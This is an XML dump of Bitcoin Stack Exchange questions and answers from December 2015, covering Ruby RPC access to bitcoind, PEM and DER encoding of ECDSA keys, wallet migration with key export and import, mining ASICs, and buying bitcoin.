  <row Id="41665" PostTypeId="1" AcceptedAnswerId="41667" CreationDate="2015-12-06T03:21:26.703" Score="0" ViewCount="544" Body="&lt;p&gt;I'd like to access local bitcoin node from ruby by using RPC client. The following is my code, and it returns the next code. Could you tell me how to call Bitcoin client on ruby?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#console    &#xA;NoMethodError (undefined method `getblockcount' for #&amp;lt;BitcoinRpc:0x007fe4e2577050&amp;gt;):&#xA;&#xA;&#xA;#product_controller.rb&#xA;require 'net/http'&#xA;require 'uri'&#xA;require 'json'&#xA;class BitcoinRpc&#xA;  def initialize(service_url)&#xA;    @uri = URI.parse(service_url)&#xA;  end&#xA;end&#xA;&#xA;class ProductsController &amp;lt; ApplicationController&#xA;  require 'openassets'&#xA;  require 'bitcoin'&#xA;  include Bitcoin::Util&#xA;  include Bitcoin::Builder&#xA;  h = BitcoinRpc.new('http://'rpcuser':'rpcpassword'@localhost:8332')&#xA;  puts(h.getblockcount)&#xA;  ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24693" LastActivityDate="2015-12-06T07:40:07.117" Title="How to access bitcoin client from ruby using Rpc client?" Tags="|bitcoind|ruby|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41666" PostTypeId="1" AcceptedAnswerId="41671" CreationDate="2015-12-06T04:09:04.983" Score="2" ViewCount="5058" Body="&lt;p&gt;I have been looking at &lt;a href=&quot;https://coinapult.com/developer/api/ecc&quot; rel=&quot;nofollow&quot;&gt;Coinapult's API documentation&lt;/a&gt; which details the use of PEM format in &lt;em&gt;&lt;a href=&quot;https://github.com/Warner/python-ecdsa&quot; rel=&quot;nofollow&quot;&gt;python-ecdsa&lt;/a&gt;&lt;/em&gt;. Specifically, private keys and public keys need to be formatted using PEM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take Coinapult's specified public key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-----BEGIN PUBLIC KEY-----&#xA;MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEWp9wd4EuLhIZNaoUgZxQztSjrbqgTT0w&#xA;LBq8RwigNE6nOOXFEoGCjGfekugjrHWHUi8ms7bcfrowpaJKqMfZXg==&#xA;-----END PUBLIC KEY-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using python-ecdsa:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vk = ecdsa.VerifyingKey.from_pem(ECC_COINAPULT_PUB)&#xA;s = vk.to_string()&#xA;s.encode('hex')   &#xA;&amp;gt;&amp;gt;&amp;gt; &quot;5a9f7077812e2e121935aa14819c50ced4a3adbaa04d3d302c1abc4708a0344ea738e5c51281828c67de92e823ac7587522f26b3b6dc7eba30a5a24aa8c7d95e&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if it were a Bitcoin public key, that'd be &lt;code&gt;045a9f7077812e2e121935aa14819c50ced4a3adbaa04d3d302c1abc4708a0344ea738e5c51281828c67de92e823ac7587522f26b3b6dc7eba30a5a24aa8c7d95e&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, that makes sense, but when we take the base64 encoded data between the leading and trailing &lt;code&gt;-----BEGIN-----&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;base64_data = &quot;&quot;.join(ECC_COINAPULT_PUB[27:-26 ].split('\n'))&#xA;s = base64.b64decode(base64_data)&#xA;result = s.encode(&quot;hex&quot;)&#xA;&amp;gt;&amp;gt;&amp;gt; &quot;3056301006072a8648ce3d020106052b8104000a034200045a9f7077812e2e121935aa14819c50ced4a3adbaa04d3d302c1abc4708a0344ea738e5c51281828c67de92e823ac7587522f26b3b6dc7eba30a5a24aa8c7d95e&quot;  # WTF is this??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the PEM format decodes to some sort of DER string, &lt;code&gt;3056301006072a8648ce3d020106052b8104000a034200045a9f7077812e2e121935aa14819c50ced4a3adbaa04d3d302c1abc4708a0344ea738e5c51281828c67de92e823ac7587522f26b3b6dc7eba30a5a24aa8c7d95e&lt;/code&gt;, but what on earth is this DER string? I see &lt;code&gt;5a9f7077....a8c7d95e&lt;/code&gt; is in that string, so what are the leading bytes meaning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;:&#xA; 1. How do I encode a pubkey to PEM format &lt;em&gt;without using python-ecdsa&lt;/em&gt;?&#xA; 2. Is it the same procedure in #1 for &lt;strong&gt;private keys&lt;/strong&gt; as it is public keys?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-12-06T11:01:30.440" Title="PEM format for ECDSA" Tags="|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41667" PostTypeId="2" ParentId="41665" CreationDate="2015-12-06T07:40:07.117" Score="0" Body="&lt;p&gt;I've solved the problem by changing the url as follows. &#xA;http://'rpcuser':'rpcpassword'@127.0.0.1:8332'&lt;/p&gt;&#xA;" OwnerUserId="24693" LastActivityDate="2015-12-06T07:40:07.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41668" PostTypeId="2" ParentId="41597" CreationDate="2015-12-06T07:56:16.907" Score="1" Body="&lt;p&gt;While @David's answer is correct, there is a caveat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The likelihood is that anything other than a trivial DApp will be made of multiple co-operating contracts. Specifically, the logic and the data will live in separate contracts. This is to permit the logic contract to be logically updated (actually replaced as David explains) without losing the data. Any DAO architected this way, is effectively modifiable. &lt;/p&gt;&#xA;" OwnerUserId="23361" LastActivityDate="2015-12-06T07:56:16.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41669" PostTypeId="1" CreationDate="2015-12-06T08:14:40.120" Score="3" ViewCount="249" Body="&lt;p&gt;I've done a minor amount of research into the topic of bitcoin mining using ASICs and FPGAs, and I've started wondering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could these be used as GPUs (possibly specialized to a subset of what modern GPUs are capable of)?  If they're so much faster than GPUs, what is preventing them from being adopted as a GPU replacement?  Is it just that they are specialized hardware and simply can't perform all the tasks a modern GPU can?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as a quick side-question: Do password crackers use these as well?  If not, why?&lt;/p&gt;&#xA;" OwnerUserId="29960" LastEditorUserId="2306" LastEditDate="2017-04-25T19:58:06.010" LastActivityDate="2017-04-25T19:58:06.010" Title="ASIC and FPGA feasibility as GPU" Tags="|mining-hardware|asic|gpu|fpga|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41670" PostTypeId="1" AcceptedAnswerId="41676" CreationDate="2015-12-06T10:05:00.390" Score="2" ViewCount="3282" Body="&lt;p&gt;I'd like to send bitcoin from the specific address to a address using bitcoin api. I used 'sendfrom' as follows. Each address &quot;mqXhhivMPjeVvdVMR239EVDJiRGQUYcbDZ&quot; and &quot;mknGW629wzSkfWvgXF23d8eTrqibnhTcrf&quot; has bitcoin more than 0.002btc, however it returned the &quot;insufficient funds&quot; error. Could you tell me how to send from the specific address?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli sendfrom mqXhhivMPjeVvdVMR239EVDJiRGQUYcbDZ mknGW629wzSkfWvgXF23d8eTrqibnhTcrf 0.002&#xA;&#xA;Account has insufficient funds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24693" LastActivityDate="2017-09-25T02:54:02.160" Title="How to send btc from the specific address using bitcoin api?" Tags="|bitcoind|client|bitcoin-cli|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41671" PostTypeId="2" ParentId="41666" CreationDate="2015-12-06T10:50:19.727" Score="6" Body="&lt;p&gt;&lt;strong&gt;#0 what is the format?&lt;/strong&gt; As you partly guessed, that is the &amp;quot;PEM&amp;quot; armoring of the DER encoding of the &lt;strong&gt;&lt;code&gt;SubjectPublicKeyInfo&lt;/code&gt; ASN.1 type from X.509&lt;/strong&gt;, republished for Internet use as &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc5280#section-4.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC5280 section 4.1 particularly 4.1.2.7&lt;/a&gt;. To support multiple algorithms including new ones in the future, this structure is a &lt;code&gt;SEQUENCE&lt;/code&gt; of an &lt;code&gt;AlgorithmIdentifier&lt;/code&gt; which identifies the algorithm (using an &lt;code&gt;OBJECT IDENTIFIER&lt;/code&gt; for the algorithm and various types for parameters depending on the algorithm), followed by a &lt;code&gt;BIT STRING&lt;/code&gt; that contains the key value encoded in a format that varies depending on the algorithm. The AlgId and key format specific to ECDSA (and ECDH) are in &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc3279#section-2.3.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC3279 section 2.3.5&lt;/a&gt; although you can ignore the complicated parts about &lt;code&gt;ECParameters&lt;/code&gt; because in practice everyone uses the simpler &lt;code&gt;namedCurve OBJECT IDENTIFIER&lt;/code&gt; option, and the key format is just the SEC1/X9.62 point.&lt;/p&gt;&#xA;&lt;p&gt;Here &lt;code&gt;301006072a8648ce3d020106052b8104000a&lt;/code&gt; is the AlgId and decodes as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    0:d=0  hl=2 l=  16 cons: SEQUENCE&#xA;    2:d=1  hl=2 l=   7 prim: OBJECT            :id-ecPublicKey&#xA;   11:d=1  hl=2 l=   5 prim: OBJECT            :secp256k1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(As you've already figured out, &amp;quot;PEM&amp;quot; is just base64 of the DER, with line breaks at intervals, plus a &lt;code&gt;----BEGIN whatever-----&lt;/code&gt; line at the top and an &lt;code&gt;-----END whatever-----&lt;/code&gt; line at the bottom.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;#1 encode without python?&lt;/strong&gt; Aside from implementing (part of) DER yourself, which isn't that hard if you want, I see the &lt;a href=&quot;https://github.com/Warner/python-ecdsa&quot; rel=&quot;nofollow noreferrer&quot;&gt;page you link to&lt;/a&gt; talks a lot about OpenSSL compatibility: for programs in C or languages that can (easily) call C, which is many, OpenSSL can generate, read, write, and use for various operations ECC keys in this format (and the un-armored DER form). Java 7+ cryptography can do it, but the standard providers only in DER; for PEM you have to en/de-armor yourself or use &lt;a href=&quot;http://www.BouncyCastle.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.BouncyCastle.org&lt;/a&gt; instead. I expect dot-NET can do it, but I don't use that and can't say definitely. I know I've seen perl modules for DER, but somehow I can never find things in CPAN even though that's its purpose. If you want a more specific answer, revise your question (or if it's sufficiently different, ask a new one).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;#2 private key?&lt;/strong&gt; That page says it uses &lt;code&gt;-----BEGIN EC PRIVATE KEY-----&lt;/code&gt; which could be either of two &lt;strong&gt;'legacy' formats in OpenSSL:&lt;/strong&gt; unencrypted or encrypted. Since the examples don't show any password, I'll assume the former. If you look at a key file and see lines about &lt;code&gt;Proc-type&lt;/code&gt; and &lt;code&gt;DEK-info&lt;/code&gt; inserted &lt;em&gt;after&lt;/em&gt; the &lt;code&gt;-----BEGIN&lt;/code&gt; line but &lt;em&gt;before&lt;/em&gt; the base64 data, it's legacy-encrypted and that's more complicated.&lt;/p&gt;&#xA;&lt;p&gt;Without that, it's the private key structure defined by the SEC1 document at &lt;a href=&quot;http://www.secg.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.secg.org/&lt;/a&gt; in C.4, which contains an &lt;code&gt;OCTET STRING&lt;/code&gt; for the private key (actually an integer, but not encoded as such), parameters defined in C.2 which if you examine carefully are essentially equivalent to those in RFC 3279, and once again a &lt;code&gt;BIT STRING&lt;/code&gt; containing the public key (a point).&lt;/p&gt;&#xA;&lt;p&gt;OpenSSL also supports the &amp;quot;new&amp;quot; (as of about 2000!) PKCS#8 format for private keys. Much like X.509 SPKI for public key, this is a generic wrapper that is basically an &lt;code&gt;AlgorithmIdentifier&lt;/code&gt; for the algorithm plus an &lt;code&gt;OCTET STRING&lt;/code&gt; containing the key value depending on the algorithm, except that PKCS#8 also has an option for encrypting at the PKCS#8 level (as opposed to the &amp;quot;PEM&amp;quot; level). I don't know if the python module handles these formats or not, and if not, whether you would want to use them and thereby be incompatible with the python module. If you &lt;em&gt;don't&lt;/em&gt; want to use PKCS#8 and &lt;em&gt;do&lt;/em&gt; want to use OpenSSL, be careful to use the specific EC routines not the generic ones.&lt;/p&gt;&#xA;" OwnerUserId="26628" LastEditorUserId="-1" LastEditDate="2021-10-07T07:05:27.390" LastActivityDate="2015-12-06T11:01:30.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41672" PostTypeId="2" ParentId="41669" CreationDate="2015-12-06T11:32:55.250" Score="1" Body="&lt;p&gt;No. ASICs are Application Specific, so they can't do anything else. Not password cracking either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use them as an electric heater.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-06T11:32:55.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41673" PostTypeId="1" AcceptedAnswerId="41724" CreationDate="2015-12-06T11:37:22.053" Score="1" ViewCount="203" Body="&lt;p&gt;Last received block was 12 weeks ago, and I'm still syncing. I have moved some bitcoins to this wallet from another, but I still can't see it in my inbox after a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it because I don't have all the blocks?&lt;/p&gt;&#xA;" OwnerUserId="31010" LastEditorUserId="5406" LastEditDate="2015-12-08T19:09:17.913" LastActivityDate="2015-12-09T01:38:13.867" Title="Can I see a transaction sent to me if I haven't downloaded the whole blockchain?" Tags="|transactions|blockchain|wallet|synchronization|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41674" PostTypeId="2" ParentId="41673" CreationDate="2015-12-06T11:50:27.080" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; to see transactions sent to your address.  Just go to &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/&lt;/a&gt; and enter your address in the search field.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastEditorUserId="30884" LastEditDate="2015-12-08T23:39:57.147" LastActivityDate="2015-12-08T23:39:57.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41676" PostTypeId="2" ParentId="41670" CreationDate="2015-12-06T15:03:47.590" Score="1" Body="&lt;p&gt;You cannot send from an address. All the coins inside a wallet are always treated as a single balance, for privacy reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All &lt;code&gt;sendfrom&lt;/code&gt; does is deduct the money you're sending from the virtual local account with that name. You can move money to those accounts using the &lt;code&gt;move&lt;/code&gt; command. Received coins are by default credited to the &quot;&quot; account. Still, these accounts have nothing to do with actual coins on the network. This account system is scheduled for deprecation, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to manually select the coins to use, look into the &lt;code&gt;listunspent&lt;/code&gt;, &lt;code&gt;createrawtransaction&lt;/code&gt;, &lt;code&gt;signrawtransaction&lt;/code&gt; and &lt;code&gt;sendrawtransaction&lt;/code&gt; RPC calls.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-12-06T15:03:47.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41677" PostTypeId="2" ParentId="41648" CreationDate="2015-12-06T16:49:05.300" Score="2" Body="&lt;p&gt;Adding my owner answer here thanks to some input from @Wats0ns and @Murch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IANAL.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the following happened:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I generate a key pair that collided with an already existing address.&lt;/li&gt;&#xA;&lt;li&gt;That address happened to have a balance.&lt;/li&gt;&#xA;&lt;li&gt;I signed a transfer to a new address under my (and only my) control.&lt;/li&gt;&#xA;&lt;li&gt;In that transfer I put my contact information (and proved after the fact that I had the private key and had done exactly as everyone suspects, crazy I know).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd expect:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The other owner to claim they owned the address via a digital signature (the only way you can claim to own an address).&lt;/li&gt;&#xA;&lt;li&gt;The other owner to show either that they owned the previous incoming addresses or that they traded with others to result in the funding of the address in question.&lt;/li&gt;&#xA;&lt;li&gt;The other owner to sue me for those coins back, and press criminal charges for theft.&lt;/li&gt;&#xA;&lt;li&gt;I would use a &quot;Claim of Right or Ownership of Property&quot; defense for the theft charge.&lt;/li&gt;&#xA;&lt;li&gt;I might lose the civil case and have to return the BTC.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the theft charge, my argument would effectively be, &quot;I thought I had just as much right to the coins as they did. We both generated a key pair, and the key pair is how you 'own' an address or any BTC the ledger says belongs to that address. I didn't act maliciously in generating the address, I didn't hack a computer and steal the private key, I just happened upon it.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that might be a reasonable amount of evidence to show &quot;I thought it was mine&quot; and hopefully that'd keep me out of jail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what a court would decide in the lawsuit as I don't know of any case law that comes close to this. Maybe it's like a bank accidentally adding you as a co-signer to someone's bank account (not heard of any cases involving this)? Or making an invalid deposit to your account (which does have case law, and you have to give the money back IIRC)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, I'd be willing to bet that the BTC would have to be returned, but it could be a coin flip...&lt;/p&gt;&#xA;" OwnerUserId="30591" LastActivityDate="2015-12-06T16:49:05.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41678" PostTypeId="1" CreationDate="2015-12-06T21:55:17.677" Score="3" ViewCount="123" Body="&lt;p&gt;I am working on an alternative currency.&#xA;We are not wedded to any particular software, but have definite term and conditions for participants.&#xA;Our own dispute resolution system, and standard of value.  One credit equals the median hourly wage for your community. We also impose a transaction fee of 2.5% to each party to support the institutions to manage dispute and legal documents and promote  the exchange.   We also are based on the lets system with equal positive and negative balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could we potentially use your Stellar system to manage the transactions in a system such as this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew Hill&lt;/p&gt;&#xA;" OwnerUserId="31019" LastEditorUserId="25073" LastEditDate="2015-12-06T23:48:19.730" LastActivityDate="2015-12-07T19:29:48.233" Title="Regarding Stellar as an Alternative currency transaction manager" Tags="|stellar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41679" PostTypeId="2" ParentId="41658" CreationDate="2015-12-06T22:28:13.083" Score="0" Body="&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&#xA;This solution gains access to the coins that are unavailable via BitcoinXT.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the bitcoin client, export the private key using the command &lt;code&gt;bitcoin-cli dumpprivkey &quot;accountname&quot;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Uninstall BitcoinXT and remove the existing block chain (usually stored in ~/.bitcoin ).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Bitcoin Core (not Bitcoin XT), start the bitcoin-d server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While the new chain is syncing, import the old key with &lt;code&gt;bitcoin-cli importprivkey &quot;keyExportedInStep1&quot;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait for blockchain to sync.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Discussion and Lessons Learned&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not sure that the testnet work had separated, but the fact that the transaction I was looking for was not in the corresponding block number was a huge indication.  After uninstalling BitcoinXT and installing Bitcoin, I now see the &quot;missing&quot; funds referenced above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this means is that the test network has reached that point where BitcoinXT no longer recognizes transactions and block chains that are approved by standard Bitcoin Core clients.  While BitcoinXT is compatible still on a public network, the test network is no longer compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also means that there is a need for a BitcoinXT faucet. At the time of this writing, I have not found a faucet for BitcoinXT compatible transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The screen shot below shows that I now have access to the coins that were previously lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vtXJy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vtXJy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15481" LastActivityDate="2015-12-06T22:28:13.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41681" PostTypeId="1" CreationDate="2015-12-07T02:26:09.710" Score="2" ViewCount="144" Body="&lt;p&gt;I'm new to Bitcoin, so I'm grateful for anyone's patience with my perhaps uninformed questions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I live in NYC and I'd like to buy some Bitcoin.  I understand that due to a recent law, exchanges aren't operating here, but there are several ATMs.  Is there a downside, other than the service fee, to the ATMs?  I'm prepared to lose some money on that, especially since it doesn't seem to be possible to purchase them another way here. Ultimately, this is a gift for my husband, and we see it for the high risk investment that it is.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I do purchase some at an ATM, what happens next?  I know I come across like a total idiot, but I really haven't figured that part out yet.  How do I keep track of them?  Where do I store them?  How could I give them to someone else?&lt;/p&gt;&#xA;" OwnerUserId="31022" LastActivityDate="2015-12-11T23:04:09.663" Title="Using Bitcoin ATM in NYC" Tags="|legal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41682" PostTypeId="1" AcceptedAnswerId="41686" CreationDate="2015-12-07T11:58:30.453" Score="16" ViewCount="21871" Body="&lt;p&gt;I recently became aware that python-bitcoinlib is not a full bitcoin node implementation, but rather a set of tools to work with bitcoin-core cpp. I would like to know whether there are some fundamental issues with implementing a complete bitcoin node using python? Also if it were to be tried as a code-golf exercise (the shortest code to get the full node running) how many lines of code will it amount to in python ??&lt;/p&gt;&#xA;" OwnerUserId="17079" LastEditorUserId="17079" LastEditDate="2015-12-07T12:10:56.613" LastActivityDate="2020-03-14T00:25:45.653" Title="A complete bitcoin implementation in Python?" Tags="|bitcoin-core|python|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="41683" PostTypeId="2" ParentId="41682" CreationDate="2015-12-07T12:11:17.370" Score="7" Body="&lt;p&gt;That strongly depends on your definition of &lt;em&gt;complete&lt;/em&gt;. There are a number of implementations that implement parts of the Bitcoin node functionality. For example &lt;a href=&quot;https://github.com/cdecker/pycoin&quot; rel=&quot;noreferrer&quot;&gt;cdecker/pycoin&lt;/a&gt; has a solid network implementation, but does not include wallet management code and validation logic. &lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;noreferrer&quot;&gt;richardkiss/pycoin&lt;/a&gt; on the other hand has some of the wallet logic, but lacks networking. Other libraries include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;noreferrer&quot;&gt;vbuterin/pybitcointools&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;noreferrer&quot;&gt;petertodd/python-bitcoinlib&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But as far as I know there is no standalone client that includes a wallet as well as the networking code.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-12-07T12:11:17.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41684" PostTypeId="2" ParentId="41644" CreationDate="2015-12-07T16:43:23.170" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I be worried of such blockchain reorganizations when accepting n-confirmation transactions? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Forks do occur quite &lt;a href=&quot;https://blockchain.info/orphaned-blocks&quot; rel=&quot;nofollow noreferrer&quot;&gt;frequently&lt;/a&gt;, and if you're only requiring a single confirmation the counterparty will have the opportunity to double spend each time these orphaned blocks occur.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Am I right to say that any successful 6-block fork would open the risk of free riding the double spending of ALL transactions not included in the fork, not just those targeted by the rogue miner?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, a successful 6-block fork would allow double spending for all n-confirmation transactions not included in the fork, where n &amp;le; 6.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would most nodes (including the rogue miner) most likely reject the free-riding double spend attempts anyway (even if its transaction fees are set way higher), as the first transaction would by that time be fully disseminated?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hard to say. The bitcoin protocol doesn't explicitly have a rule for n-confirmations (this is just an accepted number of confirmations after which the receiver of a transaction can be reasonably sure double spending will not occur), so according to the protocol, the transactions would be valid. I doubt there are many miners with logic built in to deal with this scenario since when it becomes anything more than &lt;em&gt;close to impossible&lt;/em&gt; (an entity having &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1882/19524&quot;&gt;about half&lt;/a&gt; the computing power of the network) the currency probably won't have legitimacy left (therefore no value in them acting as miners).&lt;/p&gt;&#xA;" OwnerUserId="19524" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-12-07T16:43:23.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41686" PostTypeId="2" ParentId="41682" CreationDate="2015-12-07T17:29:43.580" Score="8" Body="&lt;p&gt;AFAIK, there is no fundamental issues with implementing a complete bitcoin node using python, there is even some cool projects of Bitcoin full node in Python&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/samrushing/caesure&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/samrushing/caesure&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=94645.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=94645.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="30996" LastEditorUserId="69241" LastEditDate="2019-03-05T16:33:44.807" LastActivityDate="2019-03-05T16:33:44.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41688" PostTypeId="1" CreationDate="2015-12-07T17:51:09.423" Score="1" ViewCount="562" Body="&lt;p&gt;This might sound a bit odd. I have had a Bitcoin app for a few years now. A few years ago I made a copy of Wallet.dat and put it on a stick. Now my computer crashed and i don't know how to import it or where to put it. I got Bitcoin Core and let it install and download the blockchain completely. I was thinking that after the process finishes I will see a folder with a Wallet.dat in it and replace it with my own. However,it has no wallet.dat in it and i don't know how to import my own. What should I do? Did I get a wrong version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RtfXU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RtfXU.png&quot; alt=&quot;here is how it looks like. I have looked for a wallet.dat in it but it doesnt have any &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31030" LastActivityDate="2015-12-07T17:51:09.423" Title="Import Wallet.dat with bitcoins on it" Tags="|wallet.dat|" AnswerCount="0" CommentCount="2" ClosedDate="2015-12-07T18:40:03.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="41689" PostTypeId="1" AcceptedAnswerId="41691" CreationDate="2015-12-07T19:29:38.507" Score="0" ViewCount="407" Body="&lt;p&gt;I understand that Coinbase requires either a bank account connection or a 3% fee for depositing using credit card (I think so, anyway?). But could I buy my first bitcoin from someplace that doesn't require bank account information and does not charge more than a 1% fee to buy bitcoin? I have looked at localbitcoins but the fees are too high. FWIW, I am in the United States.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts would be appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="31032" LastActivityDate="2017-10-18T19:22:15.250" Title="Help a newbie: How to buy Bitcoin without giving bank account info?" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="1" ClosedDate="2015-12-08T18:02:00.870" ContentLicense="CC BY-SA 3.0" />
